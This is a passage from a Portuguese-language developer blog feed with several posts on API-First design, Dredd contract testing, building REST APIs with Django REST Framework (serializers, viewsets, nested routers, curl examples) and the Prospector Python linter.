Nessa etapa validaremos e garantiremos o funcionamento do contrato. Casos de uso podem ser necessários para estressar a coerência da API. Particularmente, não acho que essa seja a camada mais interessante para testar coisas além do contrato estabelecido (como por exemplo, a própria lógica de negócio). Pode tornar-se uma linha tênue em sua pirâmide de testes.

O Dredd é uma ferramenta bem interessante para testar a especificação construída. Ela utiliza um servidor como alvo, portanto, podemos adicioná-la ao build pipeline, levantarmos o nosso serviço, e ela operará como uma espécie de Component Test.

Executando contra o nosso servidor mockado, tudo deveria funcionar "out of the box":

$ dredd ./openapi.yml http://127.0.0.1:4010

warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:66 (from line 66 column 7 to column 13): 'Parameter Object' contains unsupported key 'schema'
warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:73 (from line 73 column 7 to column 13): 'Parameter Object' contains unsupported key 'schema'
warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:102 (from line 102 column 7 to column 12): 'Schema Object' contains unsupported key 'allOf'
pass: GET (200) /channels duration: 63ms
pass: GET (200) /channels/1 duration: 20ms
pass: GET (200) /channels/1/items duration: 14ms
pass: GET (200) /channels/1/items/1 duration: 11ms
complete: 4 passing, 0 failing, 0 errors, 0 skipped, 4 total
complete: Tests took 116ms

Um outro extra muito interessante é a possibilidade de escrever hooks em Python, o que nos permite criar casos de uso de acordo com diferentes aspectos e contextos.

5: Implemente

Agora sim! Finalmente a parte divertida.

Agora é correr para o Django e implementar a API. Se você estiver interessado no Django REST Framework, escrevi sobre ele recentemente no "Construindo APIs em Django com Django REST Framework". Não perca.

Ao fim do desenvolvimento, não esqueça de executar o Dredd apontando para o serviço Django. Aliás, colocar essa checagem em um CI é uma excelente ideia! Dependendo do seu release train, a falha dessa checagem pode inclusive bloquear o seu Continuous Delivery.

6: Opere e engage

A sua funcionalidade está pronta. O seu produto está documentado. Agora é hora de "ir para a rua".

Com essa ideia de "uma API para todos governar", fica mais fácil ser adepto da corrente do "eat your own dog food". Tendo outros times da sua própria organização como usuários fica mais fácil coletar feedbacks e reiniciar todo o processo descrito com novas demandas e possíveis correções.

Para terceiros, é fundamental tratar a API como parte do negócio, e ela (e sua documentação) precisa ter espaço de destaque no website da sua empresa. O Twillio faz isso muito bem:

Exemplo de exposição de documentação

Além disso, existem marketplaces de APIs espalhados pela web que podem servir como canal de propaganda da sua API. O RapidAPI é um bom exemplo de plataforma para conectar-se com possíveis consumidores.

Não esqueça que propiciar SDKs para os seus consumidores faz parte dessa etapa. Não basta apenas escrevermos o backend, precisamos nos engajar em escrever clientes para diferentes linguagens. O Swagger Codegen pode ajudar nessa tarefa, gerando SDKs a partir da especificação da sua API.

Considerações finais

Abordamos o processo, os passos, e quais ferramentas podemos utilizar para atender os requisitos necessários em cada etapa. Faltou abordar de forma prática como "colocar isso tudo junto para funcionar". O post ficou gigante, e possivelmente abordaremos em uma parte 2 como colocar isso tudo em um CI, e em como orquestrar release de especificação e deploy de aplicação.

Há uma pluralidade interessante de ferramentas e serviços que giram em torno do conceito de API-First. Se por um lado isso pode significar aumentar a complexidade do seu processo de desenvolvimento, por outro é também uma certa garantia de que existem outros players investindo nessa prática, e que se você tem na sua API o seu principal produto, talvez ficar por fora possa ocasionar um problema de estratégia.

Até a próxima.

Referências

O API-First

Fri, 21 Feb 2020 09:15:00 GMT

Tratar APIs como "first-class citizens" pode ser um desafio e tanto, principalmente quando estamos em um contexto de entrega rápida ou de prova de conceito. Como desenvolvedor, admito que priorizo resolver a lógica de negócio escrevendo código, do que discutindo contratos ou requisitos não funcionais.

Code-First

O modelo de trabalho ilustrado acima pode ser conhecido por "bottom up", "code first", ou apenas por "aquela forma que a gente geralmente utiliza em nossos projetos". Onde focamos primeiro no código, e deixamos para depois questões relacionadas à integração dos componentes.

Kirsten Hunter ilustra bem os efeitos colaterais de tal prática:

APIs are created as an afterthought once the product has already been created as a tightly coupled system, with the frontend website and backend system entwined together in a highly codependent way and the REST API having to be ‘shoe-horned’ into this system as a separate entity.

Não há nada fundamentalmente errado com essa dinâmica (inclusive, há opiniões a favor desse conceito), mas com o mundo cada vez mais "microservices-driven", pensar primeiramente na interface e em quem irá usá-la pode antecipar problemas, diminuir riscos e definir contratos mais sólidos.

Não faça o dev ser merecedor para utilizar a sua API (comicbookmovie.com)

Não é raro escutarmos em pleno 2020 histórias sobre times distintos trabalhando em uma grande solução, que quando colocaram seus serviços para funcionar juntos, descobriram uma série de problemas de integração (ou até mesmo que eles simplesmente não resolviam o problema).

O que é API-First?

API-First pode ser grosseiramente resumido em "trate APIs como first-class citizens".

Em outras palavras, a proposta é que APIs sejam consideradas partes fundamentais do ecossistema de um produto, devem ser parte de sua estratégia e construção, e não apenas um "extra" ou um "side product".

O DZone define API-First da seguinte forma:

(...) is a strategy in which the first order of business is to develop an API that puts your target developer’s interests first and then build the product on top of it (be it a website, mobile application, or a SaaS software). By building on top of APIs with developers in mind, you and your developers are saving a lot of work while laying down the foundations for others to build on.

Elas devem ser tão cruciais quanto usuários são em estratégias user-centric e a experiência mobile é em um approach mobile-first. Utilizar uma abordagem api-centric fará com que o design funcione de uma ótica diferente (possibilitando maior cuidado em relação a consistência e reuso), e que o negócio gire em torno do contrato que está sendo definido (ocasionando maior interação com outros stakeholders de forma antecipada, dentro do tempo de vida de desenvolvimento).

API-centric == Developer Experience

E se pararmos para analisar friamente o que essa ideia significa, ser api-centric é no fim das contas ser user-centric (ou customer-centric).

Não duvide da vontade do seu usuário. Ele vai descobrir um jeito de levantar o martelo (ibtimes.com)

O usuário nesse caso passa a ser outro desenvolvedor (do mesmo time, da mesma empresa, ou de terceiros), portanto, Developer eXperience também é parte fundamental dessa estratégia, e vem embutida em sua prática, como ilustra o "Understanding the API-First Approach to Building Products":

Consumers of APIs are most often developers, and developer experience (DX) can make or break the success of an API. API first ensures that developers have positive experiences using your APIs. Well-designed, well-documented, consistent APIs provide positive developer experiences because it’s easier to reuse code and onboard developers, and it reduces the learning curve.

Os 3 princípios

Lars Trieloff, no Adobe Tech Blog, escreve sobre três princípios fundamentais para o sucesso da prática, que acredito serem essenciais para compreender a real motivação por trás da ideia.

1. Your API is the first user interface of your application

Vale estressar esse ponto: Pessoas utilizando a sua API são os seus usuários, e a sua API precisa ser projetada com esses usuários em mente.

Partindo do princípio que a API é o caminho mais importante de interação com o seu produto, isso significa que ela deve ter um investimento de tempo equivalente (ou superior) ao tempo investido no desenvolvimento de (por exemplo) interfaces gráficas.

2. Your API comes first, then the implementation

Your implementation will change frequently, your API should not.

Sua API se torna um contrato que servirá como especificação para a implementação, portanto, o ideal é pensarmos como duas coisas separadas. Conforme a sua aplicação for evoluindo é muito provável que a sua implementação mude, mas o contrato deve (dentro do possível) manter-se o mesmo.

3. Your API is described (and maybe even self-descriptive)

Sua API precisa ser compreendida por pessoas que não estavam envolvidas em seu desenvolvimento. E aqui é difícil escaparmos da necessidade de documentação.

E por documentação, é impossível deixar de questionar todo o esforço envolvido em ter uma documentação válida, atualizada, e que deveras é usável. Ferramentas estão disponíveis, e existem diferentes formas de automatizar esse processo. Tais ferramentas servem não somente para a criação de documentação, mas também da especificação em si (que pode ser também consumida por uma máquina). Por exemplo, RAML e Swagger, já abordados no blog, são excelentes iniciativas para resolver essa questão.

Se o Thor tivesse uma documentação bacanuda para como funciona o martelo, Caps teria usado antes (cinemablend.com)

Mas além disso, seguir padrões é outro esforço que trará resultados na usabilidade da API:

When it comes to documentation for APIs, structured documentation beats unstructured documentation. Following a standard pattern for URLs, resource types, request methods, headers, request parameters, and response formats will make it easier to explore and understand functionality, and reduces surprises when your API grows.

Hypermedia parece outra excelente ideia, uma vez que serve como documentação e oferece meios para humanos e máquinas compreenderem melhor a sua funcionalidade.

Camadas: API-First Development x API-First Design

API-First é sobre fazer a API antes da interface web e mobile? Ou seria sobre primeiro fazer o design da API e a partir daí passar para a implementação?

Uma ótica interessante sobre esse debate pode ser lida no "What Is An API First Strategy? Adding Some Dimensions To This New Question", do apievangelist.com.

Durante a pesquisa para a escrita desse post, fui exposto a diferentes perspectivas, e é muito provável que eu tenha apresentado elas de forma "misturada" até aqui:

Do ponto de vista de negócio, é sobre ter uma API primeiro e torná-la um produto per se;
Do ponto de vista de tecnologia, é sobre ter uma plataforma primeiro;
Do ponto de vista de arquitetura, é sobre ter um design coeso, reusável, e construído através da colaboração de diferentes stakeholders;
Do ponto de vista de UX, é sobre ter uma API bem estruturada e documentada;
Do ponto de vista do desenvolvedor, é sobre ter uma especificação antes de partir para a implementação.

Qual visão você pretende adotar depende muito do contexto. Haverá casos em que o produto já existe, soluções já estão no ar, e você fará o movimento para um consumo baseado em APIs. Ou, com sorte, você fundará uma startup e terá controle o suficiente para primeiramente produzir uma API e depois as interfaces gráficas.

Assim como há diferentes "níveis de REST" que podemos usar no cotidiano, API-First pode ser adotado em diferentes níveis e maneiras.

No meu caso, que atualmente trabalho em um ambiente enterprise e tenho pouca influência sobre o negócio, é basicamente sobre discutir o contrato primeiro, e ter uma especificação que sirva como documentação e que guie o meu desenvolvimento.

Os passos

Na primeira vez que ouvi falar sobre esse conceito, me perguntei como que de forma prática é possível exercitá-lo. De lá para cá já me deparei com diferentes formas e processos para adoção.

Ver outro dev usando sua API é tão sensacional quanto o Caps usando o martelo (youtube.com)

Inclusive, durante meu período na Loadsmart, cheguei a falar exatamente sobre isso em um lightning talk na Python Sul, e sobre como estávamos montando esse processo.

O contexto pode variar de acordo com o público alvo de sua API. Por exemplo, no artigo "Understanding the API-First Approach to Building Products" do swagger.io, há uma boa descrição do que não pode faltar quando o assunto é prover APIs dentro de uma organização:

Brainstorm: Primeiro identifique os serviços chave do negócio e suas capabilities. Descubra quais tipos de APIs deveriam ser oferecidas, descreva os casos de uso para tais APIs, e aponte potenciais endpoints baseados nesses casos de uso.
Identifique os stakeholders: Quem são os potenciais usuários dentro da sua organização? Tente construir uma visão clara e compartilhada com os demais times da sua empresa. Permita que stakeholders influenciem no design da API e envolva-os em melhorias e mudanças.
Projete um contrato: O contrato estabelecerá uma série de padrões e boas práticas. Descreva todas as APIs e garanta que elas funcionarão de acordo com o acordado.
Crie um style guide: Com um style guide será possível ter consistência entre diferentes times e serviços, dentro de uma mesma organização. Status codes, versionamento, erros, padrões de rota, etc. Possuir uma especificação comum reduzirá o atrito para adoção de sua API por outros desenvolvedores da organização.
Implemente governança: Isso ajudará a estabelecer padrões e reforçar outcomes esperados. Essa prática pode envolver de code reviews a contract tests.
Automatize processos: Utilize ferramentas para automatizar o processo de geração da documentação de API, validação de estilo, mocking, versionamento, etc. Prover todo o ferramental necessário para que o usuário possa interagir com sua API facilmente faz parte desse passo.
Controle o seu portfolio de APIs: Não é raro esquecermos que certo serviço já existe, portanto, possuir um sistema que auxilie no gerenciamento e tracking de APIs é fundamental.
Crie um portal para desenvolvedores internos: Tenha um lugar centralizado onde usuários possam encontrar a documentação, especificação e demais contratos. Developer Experience é importante.

Muitos desses passos, mesmo em um contexto onde você esteja provendo APIs para usuários externos, fazem completo sentido (e provavelmente já façam parte da fase de arquitetura e design do seu produto). Possuir um portal no qual você exponha as suas APIs, como elas funcionam e como um possível parceiro é capaz de integrar-se a ela, não são apenas artefatos de engenharia, também são possíveis artefatos de negócios.

Considerações finais

Se você já pratica design by contract, muito do que foi dito aqui já faz parte do seu cotidiano.

E com o microservices fazendo cada vez mais "parte da normalidade", API-First pode parece mais um buzzword para descrever o que já é comum. Ainda assim, não é raro escutarmos histórias sobre dois serviços diferentes que não são capazes de se comunicar, ou de prestadores de serviço que produzem interfaces gráficas para empresas e que na hora de
vinculá-las ao back end a coisa simplesmente não funciona.

Lembro que o meu primeiro contato com API-First foi fruto de uma necessidade de expor certa funcionalidade para um certo grupo de possíveis parceiros. Pensar na API primeiro foi um exercício interessante, uma vez que envolveu pensar numa plataforma coesa, e permitiu levar em consideração questões como reuso (que ocasionou na própria empresa utilizando a API produzida).

Lembro também que o feedback foi muito bom, uma vez que certos mercados possuem uma postura bem conservadora, e pensar primeiro no usuário mostrou preocupação genuína com o problema do usuário e consequentemente com o produto sendo escrito.

Contratos são difíceis de serem alterados depois de implementados, então discutí-los antes permite uma resposta mais rápida (e indolor) à mudanças, além de proporcionar uma possível "paralelidade" entre servidor e consumidor no desenvolvimento da funcionalidade (reduzindo assim tempo de release e aumentando a interação durante a implementação do contrato por ambas as partes).

Por maior que esse post seja, no fim das contas API-First é algo fundamentalmente simples, que assim como o agile, parte do princípio que as pessoas (e seus problemas) são o que realmente importa.

Até a próxima.

Referências

Construindo APIs em Django com Django REST Framework

Thu, 13 Feb 2020 06:15:00 GMT

No post anterior tive a oportunidade de "destilar" a minha simpatia pelo Django REST Framework, e de salientar alguns aspectos positivos da ferramenta. A praticidade é sem dúvida um de seus pontos mais altos, e nesse post vamos explorá-la através de código escrito (que vale mais do que mil palavras).

Instalando

Sem mais delongas, o REST Framework é facilmente instalado através dos comandos pip ou pipenv:

$ pipenv install djangorestframework

Não esqueça de adicionar a app ao seu INSTALLED_APPS:

# settings.py

INSTALLED_APPS = [
    (...)
    'rest_framework',
]

Estamos prontos para mergulhar nos conceitos de routers, serializadores e views.

Antes de ir: O problema

Embora o "iMDB-clone" seja o meu tipo de exemplo favorito, dessa vez vamos imaginar que estamos desenvolvendo um "Feedly-clone". O Feedly é uma espécie de leitor RSS (com esteroides) muito popular.

Vamos focar em dois tipos específicos: Channel e Item; Channel é de fato o website ou blog que queremos registrar em nossa plataforma. Esse é o mesmo nome utilizado pelo formato RSS:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
 <title>RSS Title</title>
 <description>This is an example of an RSS feed</description>
 <link>http://www.example.com/main.html</link>
 <lastBuildDate>Mon, 06 Sep 2010 00:01:00 +0000 </lastBuildDate>
 <pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
 <ttl>1800</ttl>

 <item>
  <title>Example entry</title>
  <description>Here is some text containing an interesting description.</description>
  <link>http://www.example.com/blog/post/1</link>
  <guid isPermaLink="false">7bd204c6-1655-4c27-aeee-53f933c5395f</guid>
  <pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
 </item>

</channel>
</rss>

Já item, como ilustrado no exemplo acima, é de fato a notícia/artigo/música/podcast que aquele canal está publicando.

Então, partiremos do princípio que os seguintes modelos já estão estabelecidos:

# channels/models.py

from django.db import models


class Channel(models.Model):
    title = models.CharField(max_length=255)
    description = models.TextField(blank=True, null=True)
    link = models.URLField()

    def __str__(self):
        return self.title


class Item(models.Model):
    channel = models.ForeignKey(Channel, on_delete=models.CASCADE)
    title = models.CharField(max_length=255)
    description = models.TextField(blank=True, null=True)
    link = models.URLField()
    pub_date = models.DateTimeField()

    def __str__(self):
        return self.title

O próximo passo será definir a API para que um possível cliente mobile (por exemplo) a consuma.

Os serializadores

Segundo a documentação oficial:

Serializers allow complex data such as querysets and model instances to be converted to native Python datatypes that can then be easily rendered into JSON, XML or other content types. Serializers also provide deserialization, allowing parsed data to be converted back into complex types, after first validating the incoming data.

Eles funcionam como um espécie de Form, proporcionando ferramental para o parsing e validação das requisições, bem como controlando o que será mandado como output para o usuário. Dentro dessa analogia, o ModelSerializer faz mais ou menos o que o ModelForm faz. Logo, um bom candidato para começarmos a escrever o endpoint:

# channels/serializers.py

from rest_framework import serializers

from channels.models import Channel


class ChannelSerializer(serializers.ModelSerializer):
    class Meta:
        model = Channel
        fields = [
            "description",
            "link",
            "title",
        ]

Uma vez que estamos expondo todos os campos do modelo, é possível trocar a lista em fields, pela string __all__.

Viewsets

Continuando com as analogias, um viewset seria mais ou menos o que são as class-based views no Django. Elas abstraem uma porção de lógica repetitiva (como CRUD) através de uma estrutura muito familiar aos que já possuem certa vivência com o framework:

# channels/api.py

from rest_framework import viewsets

from channels.models import Channel
from channels.serializers import ChannelSerializer


class ChannelViewSet(viewsets.ModelViewSet):
    queryset = Channel.objects.all()
    serializer_class = ChannelSerializer

Note que em queryset apontamos para o modelo Channel, e em serializer_class para a classe serializadora criada anteriormente.

Fazendo o roteamento

Como último passo para termos algo de fato visual, vamos mapear as rotas para o novo recurso criado.

Usar DRF é como entrar em hyperdrive (pinpointe.com)

Uma das vantagens de utilizar um viewset é que ele também se encarrega de fazer o mapeamento das URLs. Por exemplo, o ChannelViewSet uma vez que mapeado, responderá para rotas terminando em / e /<id-do-channel>. Além disso compreenderá que um POST em / é relacionado à criação de um novo elemento, bem como DELETE em /<id-do-channel> está relação à remoção:

# urls.py

from django.urls import include, path

from rest_framework import routers
from channels.api import ChannelViewSet

api_router = routers.DefaultRouter()
api_router.register(r"channels", ChannelViewSet)

urlpatterns = [
    path("api/", include(api_router.urls)),
]

Nesse momento já é possível presenciar um resultado mais sólido ao acessar http://localhost:8000/api:

Exemplo ao acessar o endereço no browser

Não ligue para a porta :5000 no exemplo acima...

Se você não é fã do browsable api, e não quer ter essa visão do API Root (como da imagem acima), troque o DefaultRouter por SimpleRouter.

CRUD em ação

Considerando tudo o que foi dito até então, podemos esperar que temos o recurso mapeado no endereço http://localhost:8000/api/channels, e que a partir desse, poderemos desempenhar a listagem, adição, edição e exclusão de dados desse recurso.

Começamos então adicionando um elemento, ao enviar o método POST para o endereço com final channels/:

curl -XPOST http://localhost:8000/api/channels/ --data '{
    "id": 1,
    "title": "Klaus Laube",
    "description": "Python, Django e desenvolvimento Web",
    "link": "https://klauslaube.com.br"
}' --header "Content-Type: application/json"

{"id":1,"title":"Klaus Laube","description":"Python, Django e desenvolvimento Web","link":"https://klauslaube.com.br"}

Como o serializador espelha as propriedades do modelo Channel, caso um campo obrigatório não seja enviado no payload, o próprio serializador se encarregará de fazer essa validação e de retornar detalhes do erro ao usuário:

curl -i -XPOST http://localhost:8000/api/channels/ --data '{
    "title": "Klaus Laube",
    "description": "Python, Django, APIs, e desenvolvimento Web"
}' --header "Content-Type: application/json"

HTTP/1.1 400 Bad Request
Date: Tue, 11 Feb 2020 18:00:44 GMT
Server: WSGIServer/0.2 CPython/3.7.2
Content-Type: application/json
Vary: Accept, Cookie
Allow: GET, POST, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Length: 36
X-Content-Type-Options: nosniff

{"link":["This field is required."]}

Como estamos falando de uma API REST, é normal esperarmos que um GET no mesmo endereço traga uma lista de channels:

curl http://localhost:8000/api/channels/

[{"id":1,"title":"Klaus Laube","description":"Python, Django e desenvolvimento Web","link":"https://klauslaube.com.br"}]

E normalmente, um GET em channels/1 deve trazer detalhes daquele recurso:

curl http://localhost:8000/api/channels/1/

{"id":1,"title":"Klaus Laube","description":"Python, Django e desenvolvimento Web","link":"https://klauslaube.com.br"}

Para atualizar o registro, enviamos o método PUT:

curl -XPUT http://localhost:8000/api/channels/1/ --data '{
    "title": "Klaus Laube",
    "description": "Python, Django, APIs, e desenvolvimento Web",
    "link": "https://klauslaube.com.br"
}' --header "Content-Type: application/json"

{"id":1,"title":"Klaus Laube","description":"Python, Django, APIs, e desenvolvimento Web","link":"https://klauslaube.com.br"}

E para finalizar, com DELETE é possível remover o recurso:

curl -XDELETE http://localhost:8000/api/channels/2/

Mágico, não?!

Serializando relacionamentos

Passaremos a abordar agora a construção do endpoint para o recurso Item.

Nem o DRF consegue serializar o relacionamento entre Rey e Kylo (jovemnerd.com.br)

Começamos pelo serializer, que não é muito diferente do construído anteriormente para o modelo Channel:

# channels/serializers.py

(...)

class ItemSerializer(serializers.ModelSerializer):
    class Meta:
        model = Item
        fields = "__all__"

O ModelSerializer "automagicamente" fará o parsing do relacionamento entre Item e Channel. O resultado da serialização de uma instância de Item terá uma propriedade channel, com a chave primária do elemento relacionado como valor:

(...)

>>> item = Item.objects.first()
>>> serializer = ItemSerializer(item)
>>> data = serializer.data

>>> print(data["channel"])
1

Antes de passarmos para o viewset, vamos discutir como ficará a URL desse recurso. Se seguirmos a mesma receita utilizada para Channel, teremos um endereço semelhante com o abaixo:

http://localhost:8000/api/items/<id>

Mas que tal se channels fosse parte da URL de items? É possível atingir tal resultado com o conceito de recurso aninhado.

Nested resources

O que queremos, na prática, é o seguinte:

http://localhost:8000/api/channels/<id-do-channel>/items/<id-do-item>

Com isso, ao acessar channels/1/items (por exemplo), teremos uma listagem de todos os itens relacionados com o canal 1.

Infelizmente o DRF não possui nenhuma "classe mágica" que faça isso acontecer com poucas linhas de código. Estratégias para atingir o mesmo resultado podem variar. Existe uma biblioteca que integra-se com o DRF e produz um resultado similar ao que queremos. Estou falando da drf-nested-routers:

$ pipenv install drf-nested-routers

Fica o disclaimer: Como o próprio autor da biblioteca salienta na documentação, essa é uma ferramenta em estado experimental, portanto, cogite alternativas quando estiver fazendo o deploy do código para produção. Para provar o conceito apresentado nesse post, ela serve perfeitamente.

Agora sim podemos continuar com o desenvolvimento do recurso Item:

# channels/api.py

(...)


class ItemViewSet(viewsets.ModelViewSet):
    serializer_class = ItemSerializer

    def get_queryset(self):
        return Item.objects.filter(
            channel=self.kwargs["channel_pk"])

Note a sobrescrita do método get_queryset. O parâmetro channel_pk será passado para o ItemViewSet no momento em que registrarmos a classe no Router. Com isso, de forma "lazy", estamos dizendo que os items pesquisados devem ser relacionados com o channel mencionado no path do endereço acessado.

De volta ao urls.py, atualizaremos o roteamento para ficar semelhante com o exemplo abaixo:

# urls.py

from django.urls import include, path
from rest_framework_nested import routers

from channels.api import ChannelViewSet, ItemViewSet

api_router = routers.DefaultRouter()
api_router.register(r"channels", ChannelViewSet)

channels_router = routers.NestedDefaultRouter(
    api_router, r"channels", lookup="channel")
channels_router.register(r"items", ItemViewSet,
    basename="channel-items")

urlpatterns = [
    path("api/", include(api_router.urls)),
    path("api/", include(channels_router.urls)),
]

Vamos aos pontos de atenção:

Importamos routers de rest_framework_nested, e não mais de rest_framework;
Agora lidamos com duas instâncias de Router, a primeiro vindo de api_router = routers.DefaultRouter(), e a segunda vindo de channels_router = routers.NestedDefaultRouter(api_router, r"channels", lookup="channel");
DefaultRouter continua com o mesmo comportamento do exemplo anterior;
Precisamos adicionar ao urlpatterns a instância de DefaultRouter e as instâncias de NestedDefaultRouter.

NestedDefaultRouter espera três parâmetros:

parent_router: O Router "pai", podendo ser um DefaultRouter ou até mesmo outro NestedDefaultRouter;
parent_prefix: O prefixo de URL no qual os recursos registrados passarão a ser articulados como sub recursos;
lookup: É a partir dessa informação que a chave channel_pk é criada e passada para o viewset.

Aqui também, se você não quiser ter a visão de browsable api habilitada, troque para o SimpleRouter.

Pronto! O recurso Item está disponível para as operações exibidas anteriormente:

curl http://localhost:8000/api/channels/1/items/

[{"id":1,"title":"Eu me rendo: Django REST Framework","description":"Confesso que nunca fui muito simpático ao Django REST Framework...","link":"https://klauslaube.com.br/2020/02/06/eu-me-rendo-django-rest-framework.html","pub_date":"2020-02-06T09:40:00Z","channel":1}]

O payload retorna uma chave channel para cada item. Uma vez que estamos falando de um nested resource, não faz muito sentido retornarmos essa informação. A maneira mais prática de corrigirmos isso é alterando a classe serializadora:

# channels/serializers.py

(...)

class ItemSerializer(serializers.ModelSerializer):
    class Meta:
        model = Item
        exclude = ["channel"]

Como queremos tudo, menos o channel, utilizamos a propriedade exclude ao invés de fields, e determinamos o que queremos excluir da resposta.

Considerações finais

Há muito o que ser discutido ainda, como customização, autenticação, segurança, HATEOAS, etc. Assuntos esses que pretendo abordar em posts vindouros.

Com o mínimo coberto no getting started da documentação do DRF, já é possível termos algo up & running. Provar conceitos e discutir contratos passou a ser muito menos custoso graças à biblioteca.

Essa "proximidade" de conceitos como serializadores e viewsets, com conceitos bem estabelecidos do Django (como forms e class-based views) faz com que o atrito seja menor, e a curva de aprendizagem mais baixa. É quase natural compreender tais artefatos à primeira vista.

Se o seu projeto é feito em Django, e você necessita escrever APIs REST, não perca tempo e caia de cabeça no REST Framework.

Até a próxima.

Referências

Eu me rendo: Django REST Framework

Thu, 06 Feb 2020 09:40:00 GMT

Confesso que nunca fui muito simpático ao Django REST Framework. Antes de adotá-lo tive a oportunidade de explorar outras opções, como o Restless, e admito que sempre havia algo faltando, ou algum esforço extra necessário para obter alguma funcionalidade que já vinha embutida no DRF.

Comecei a aceitar a sua natureza "baterias inclusas" após me distanciar do desenvolvimento Python. Sob uma ótica diferente, compreendi o papel do DRF, e fiz as pazes com esse sentimento de confiar em uma biblioteca (supostamente) complexa para construir APIs (teoricamente) simples. Afinal, se "ser bloated" for um argumento decisivo, não escolheríamos Django para escrever APIs (principalmente em um contexto de microserviços).

Motivação

É claro que a minha atual simpatia pela ferramenta não se deve apenas ao fato de eu tê-la "aceitado". Pura ignorância da minha parte não ter compreendido antes todos os aspectos positivos que o projeto possui, e todas as facilidades que ele proporciona aos seus usuários.

Patrocinado

O que faz do REST Framework um projeto interessante é, para começo de conversa, que ele é financiado colaborativamente, com empresas do calibre de Sentry e DigitalOcean fazendo parte da lista de patrocinadores. Essa característica faz com que a biblioteca tenha um long-term mais provável, uma vez que os esforços de desenvolvimento são financiados. Além disso, releases são mais substanciais e frequentes.

Autenticação

Lidar com autenticação "from scratch" é no mínimo error prone. O framework já possui uma série de mecanismos de autenticação built-in (como BasicAuthentication, SessionAuthentication e TokenAuthentication), e uma infinidade de integrações com third parties (como django-oauth-toolkit, django-rest-framework-simplejwt e djoser).

Não há nada de errado em render-se de vez em quando (publishedtodeath.blogspot.com)

A possibilidade de mesclar mecanismos num mesmo recurso permite que você tenha uma API session based para o seu front-end em React (por exemplo), e o mesmo recurso ser capaz de servir acessos utilizando tokens, para um possível cliente mobile.

SQL & NoSQL

Os serializadores são um aspecto muito interessante da biblioteca. Além do trabalho de marshalling, eles também servem como validadores. Com o ModelSerializer todos os aspectos do seu modelo são "traduzidos" para a API, no melhor estilo Django Admin.

Mas existe também a possibilidade de escrita de seu própria classe serializadora ao herdar de serializers.Serializer. Isso traz flexibilidade para trabalhar com artefatos não relacionados com a ORM do Django.

E se HATEOAS for a sua praia, o HyperlinkedModelSerializer promove hyperlinks entre tais classes.

Developer eXperience

APIs escritas com o REST Framework ainda ganham a funcionalidade de "web browsable API". Com isso é possível navegar pelas definições da sua API (como endpoints, formatos e métodos) e interagir com a mesma através de uma interface amigável, pronta para ser compartilhada com outros desenvolvedores interessados em consumir a sua solução.

Uma outra opção é a geração de Swagger através do Django REST Swagger.

Veja a browsable API em ação.

Praticidade

E meu argumento final é em torno de sua praticidade. Ter uma API REST em Django, com o DRF, leva minutos...

Algumas customizações poderão exigir um pouco mais de conhecimento da biblioteca, bem como um pouquinho de criatividade, mas nada que te impeça de proporcionar um serviço estável, bem escrito, e em baixíssimo tempo de desenvolvimento.

Considerações finais

Talvez seja só devaneio, mas depois de trabalhar com Spring Boot para construção de APIs Java em um contexto de microserviços, foi que entendi o propósito do REST Framework. Deixar de lado essa "birra" com ele (supostamente) ser grande serviu para poder enxergar as qualidades da ferramenta.

Os pontos negativos ainda estão lá, e provavelmente você também vai achá-los quando estiver "entrincheirado" escrevendo a sua solução. Ainda assim, o DRF deve ser considerado como possível escolha para escrita de suas APIs em Python.

No próximo artigo falaremos de uma maneira prática sobre o framework.

Até lá.

Referências

Django REST Framework

Assegure a qualidade do seu código Python - Prospector

Tue, 21 Jan 2020 16:15:00 GMT

Mais um ano, mais um post sobre ferramentas de qualidade de código. Opções não faltam quando o assunto é Python, e elas são dos mais variados fins e complexidade. Com tanta opção, não seria interessante ter "um anel para a todos governar"?

Tanto é interessante que um utilitário vem fazendo parte do toolbelt dos desenvolvedores Python nos últimos tempos justamente por desempenhar esse papel. Estamos falando, claro, do Prospector.

One ring to rule them all

O Prospector é uma ferramenta livre, que analisa código Python e retorna informações sobre potenciais problemas, erros de convenção de código, alertas sobre complexidade, etc.

Sauron faz um anel para juntar a todos. Bem parecido com a ideia do prospector (lego-lord-of-the-rings.wikia.com)

Ela agrega a funcionalidade de outras ferramentas de análise, como Pylint e pep8, e disponibiliza algumas configurações padrões, permitindo assim um bom balanço entre cobertura x configuração.

O "lema" do Prospector é ser "out of the box". Segundo a documentação oficial:

A common complaint of other Python analysis tools is that it takes a long time to filter through which errors are relevant or interesting to your own coding style. Prospector provides some default profiles, which hopefully will provide a good starting point and will be useful straight away, and adapts the output depending on the libraries your project uses.

No terminal

Para começar, precisamos instalar a ferramenta:

$ pip install prospector

Por padrão o Prospector utiliza os seguintes utilitários "under the hood":

Pylint
pep8
pyflakes
mccabe
dodgy
pydocstyle

Mas alguns extras (como mypy) também estão disponíveis para instalação. Confira a lista completa de ferramentas suportadas.

Ao executá-lo, ele apontará possíveis problemas em seu projeto:

$ prospector

Messages
========

my_app/views.py
  Line: 1
    pylint: unused-import / Unused render imported from django.shortcuts

manage.py
  Line: 10
    pylint: import-outside-toplevel / Import outside toplevel (django.core.management) (col 8)

my_project/settings.py
  Line: 23
    dodgy: secret / Possible hardcoded secret key

my_second_app/views.py
  Line: 1
    pylint: unused-import / Unused render imported from django.shortcuts



Check Information
=================
         Started: 2020-01-21 11:06:04.832118
        Finished: 2020-01-21 11:06:07.455090
      Time Taken: 2.62 seconds
       Formatter: grouped
        Profiles: default, no_doc_warnings, no_test_warnings, strictness_medium, strictness_high, strictness_veryhigh, no_member_warnings
      Strictness: None
  Libraries Used: django
       Tools Run: dodgy, mccabe, pep8, profile-validator, pyflakes, pylint
  Messages Found: 4

Ainda é possível aumentar o nível de rigorosidade:

$ prospector --strictness veryhigh

Utilizando-o com o pre-commit, tudo fica ainda mais dinâmico:

- repo: git://github.com/guykisel/prospector-mirror
  rev: "" # Use the sha / tag you want to point at
  hooks:
    - id: prospector

No VSCode

Admito que conheci o Prospector por causa do VS Code, e utilizá-lo com o editor é tão simples quanto o seu uso via linha de comando. Basta adicionar ao seu settings.json as seguintes diretivas:

{
  "python.linting.enabled": true,
  "python.linting.prospectorEnabled": true
}

